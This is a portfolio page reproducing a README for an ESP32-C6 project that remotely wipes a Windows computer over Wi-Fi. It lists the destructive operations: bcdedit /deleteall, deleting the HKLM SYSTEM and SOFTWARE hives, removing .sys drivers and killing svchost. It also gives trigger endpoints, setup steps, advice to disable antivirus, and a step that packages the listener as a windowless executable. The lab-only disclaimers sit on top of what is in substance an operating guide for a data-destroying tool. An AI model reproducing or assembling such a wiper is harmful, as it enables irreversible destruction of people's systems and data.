โ† Back to Portfolio

ESP32-C6-Total-Destruction-Mode

A concise description explaining it's a "destructive security demonstration project" for authorized lab testing with two operational modes.

HTML

๐Ÿšจ ESP32-C6 - Total Destruction Mode

ESP32-C6 Platform Language License Status

About

A destructive security demonstration project showcasing ESP32-C6 microcontroller capabilities for educational and authorized lab testing. This project demonstrates remote system manipulation through Wi-Fi connectivity using two operational modes: Station mode (existing network) and AP mode (hotspot creation).

โš ๏ธ CRITICAL WARNING: This code was NOT designed to run on your own computer!

This project is designed to cause a target Windows computer to completely lose all data using the ESP32-C6 module. It should only be used in controlled lab environments and on test machines.


โšก Danger Warning

This code performs the following operations:

  1. Deletes boot data - bcdedit /deleteall - Computer cannot find Windows
  2. Deletes Registry keys - HKEY_LOCAL_MACHINE\SYSTEM and HKEY_LOCAL_MACHINE\SOFTWARE
  3. Deletes system drivers - All .sys files are removed
  4. Triggers system crash - svchost.exe and other critical processes are terminated

Result: Target computer cannot run without an operating system, all data is lost.


๐Ÿ“‹ Project Structure

esp32_hack_demo/
โ”œโ”€โ”€ README.md                          (This file)
โ”œโ”€โ”€ ESP32Station/                      (Station Mode - Connected to Existing Wi-Fi)
โ”‚   โ”œโ”€โ”€ ESP32Station.ino              (Arduino code - Station mode)
โ”‚   โ”œโ”€โ”€ dinleyici_station.py          (PC listener running on desktop)
โ”‚   โ””โ”€โ”€ build/
โ””โ”€โ”€ ESP32Wifi/                         (Hotspot (AP) Mode)
    โ”œโ”€โ”€ ESP32Wifi.ino                 (Arduino code - AP mode)
    โ”œโ”€โ”€ dinleyici_wifi.py             (PC listener running on desktop)
    โ””โ”€โ”€ build/

๐Ÿ”ง Hardware Requirements

  • Microcontroller: ESP32-C6 Dev Module
  • Built-in RGB LED: GPIO 8 (Adafruit NeoPixel compatible)
  • Connection: USB-C (for programming)
  • Power: 3.3V, 500mA

ESP32-C6 Specifications

FeatureValue
ProcessorXtensa 32-bit @ 160 MHz
RAM512 KB
Flash4 MB
Wi-Fi802.11b/g/n (2.4 GHz)
Bluetooth5.0
GPIO22 pins
USBUSB-OTG (Type-C)
Built-in LEDGPIO 8 (WS2812B)

๐Ÿ“ฆ Software Requirements

Arduino IDE Setup

  1. Add ESP32 to Board Manager:

    • Arduino IDE โ†’ Preferences
    • Add to "Additional Boards Manager URLs":
      https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json
      
    • Tools โ†’ Board Manager โ†’ Search "esp32" and install
  2. Board Selection:

    • Tools โ†’ Board โ†’ "ESP32C6 Dev Module"
  3. Required Libraries:

    • Tools โ†’ Manage Libraries
    • Search "Adafruit NeoPixel" and install

Python Requirements

pip install requests pyinstaller

๐Ÿš€ Usage

Mode 1: Station Mode (Connected to Existing Wi-Fi)

This mode connects the ESP32 to the lab's existing Wi-Fi network.

ESP32 Side

  1. Open ESP32Station/ESP32Station.ino
  2. Update Wi-Fi credentials:
    const char* ssid     = "FiberHGW_ZTE4FE";
    const char* password = "Trabzon61";
    
  3. Set static IP (based on router's subnet):
    IPAddress local_IP(192, 168, 1, 253);
    IPAddress gateway(192, 168, 1, 1);
    IPAddress subnet(255, 255, 255, 0);
    
  4. Upload and verify IP from Serial Monitor (9600 baud)

PC Side

  1. Open ESP32Station/dinleyici_station.py
  2. Review the code (understand what it does for security)
  3. Open PowerShell/CMD AS ADMINISTRATOR
  4. Run:
    python dinleyici_station.py
    
  5. Program waits for "DELETE" signal
  6. Connect phone to same Wi-Fi and visit 192.168.1.253
  7. Press button and destruction occurs

Create Executable:

pyinstaller --onefile -w dinleyici_station.py
# .exe file created in dist/ folder

Mode 2: AP (Hotspot) Mode

ESP32 creates its own Wi-Fi hotspot (HACK_DEMO / 12345678).

ESP32 Side

  1. Open ESP32Wifi/ESP32Wifi.ino
  2. Upload
  3. Observe LED status

PC Side

  1. Connect PC's Wi-Fi to HACK_DEMO network (Password: 12345678)
  2. Open ESP32Wifi/dinleyici_wifi.py
  3. Set target folder path:
    KLASOR_YOLU = r"C:\target_folder"
    
  4. Run AS ADMINISTRATOR:
    python dinleyici_wifi.py
    
  5. Visit 192.168.4.1/tetikle in web browser โ†’ folder gets deleted

๐ŸŽจ LED Status Indicators

The RGB LED on ESP32 shows status:

ColorMeaning
๐ŸŸฆ BlueStartup, ready
๐ŸŸฉ GreenWi-Fi connected
๐ŸŸจ YellowSearching for computer connection
๐Ÿ”ด Red"DELETE" command received, destruction started

๐Ÿ”Œ Network Architecture

Station Mode

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚           Lab Wi-Fi Router              โ”‚
โ”‚         (192.168.1.1)                   โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
           โ”‚                  โ”‚
    ESP32 (253)         PC (DHCP)
    [Green LED]         [Listener Running]
           โ”‚                  โ”‚
           โ””โ”€โ”€โ”€โ”€โ”€โ”€Wifiโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
           Control Signals

AP Mode

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  ESP32 Hotspot (AP Mode)     โ”‚
โ”‚  SSID: HACK_DEMO             โ”‚
โ”‚  IP: 192.168.4.1             โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
           โ”‚
           โ”œโ”€ PC (192.168.4.2)
           โ”‚  [Listener Running]
           โ”‚
           โ””โ”€ Phone/Tablet
              [Web Interface]

๐Ÿ’ป API Endpoints

Station Mode

EndpointMethodReturnsDescription
/durumGETBEKLE / SILPoll computer status

AP Mode

EndpointMethodDescription
/GETHome page (HTML web interface)
/durumGETReturn current status
/tetikleGETSend "DELETE" command, start destruction

๐Ÿ“ง HTTP Request Examples

Poll Status

curl http://192.168.1.253/durum
> BEKLE

Trigger Destruction (AP Mode)

curl http://192.168.4.1/tetikle
> DELETE COMMAND RECEIVED

Python Requests

import requests

# Station mode
response = requests.get("http://192.168.1.253/durum")
print(response.text)  # BEKLE or SIL

# AP mode trigger
requests.get("http://192.168.4.1/tetikle")

๐Ÿ” Troubleshooting

"Cannot connect to Wi-Fi"

  • Solution: Verify SSID and password are correct
  • Try even if network doesn't use WPA2
  • Check IP from Serial Monitor

"Python cannot reach ESP32"

  • Are computer and ESP32 on same network?
  • Disable firewall and antivirus
  • Is IP address correct? ping 192.168.1.253

"Running as Administrator"

  • Python scripts MUST run as administrator
  • Otherwise you'll get WinError 5

"LED not lighting up"

  • Is GPIO 8 pin correct?
  • Is Adafruit NeoPixel library installed?
  • Test LED manually:
    void setup() {
      led.begin();
      ledRenk(255, 0, 0);  // RED
    }
    

๐Ÿ›ก๏ธ Security Notes

  1. NEVER run this on your own computer under any circumstances!
  2. Only deploy on test/lab machines
  3. Keep network isolated - Disconnect from internet
  4. Add firewall rules - Prevent unauthorized access
  5. Restrict physical access - Nobody can access ESP32
  6. Backup all data - Before any testing

๐Ÿ“š References


๐Ÿ“ License

This project is designed for educational and research purposes only. Any misuse is solely the responsibility of the user.


๐Ÿ‘จโ€๐Ÿ’ป Development

Code Components:

Arduino Libraries

  • WiFi.h - Wi-Fi connectivity
  • WebServer.h - HTTP server
  • Adafruit_NeoPixel.h - RGB LED control

Python Modules

  • requests - HTTP requests
  • os - System commands
  • shutil - File operations
  • ctypes - Administrator control

โš ๏ธ Final Warning

THIS CODE MAY ONLY BE USED IN AUTHORIZED TEST ENVIRONMENTS!

No responsibility is accepted for any damage caused. Use at your own risk.

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
โ•‘  WARNING: Backup All Data Before Running This Code!    โ•‘
โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

Date: April 2026 | Version: 1.0 | Platform: ESP32-C6 / Windows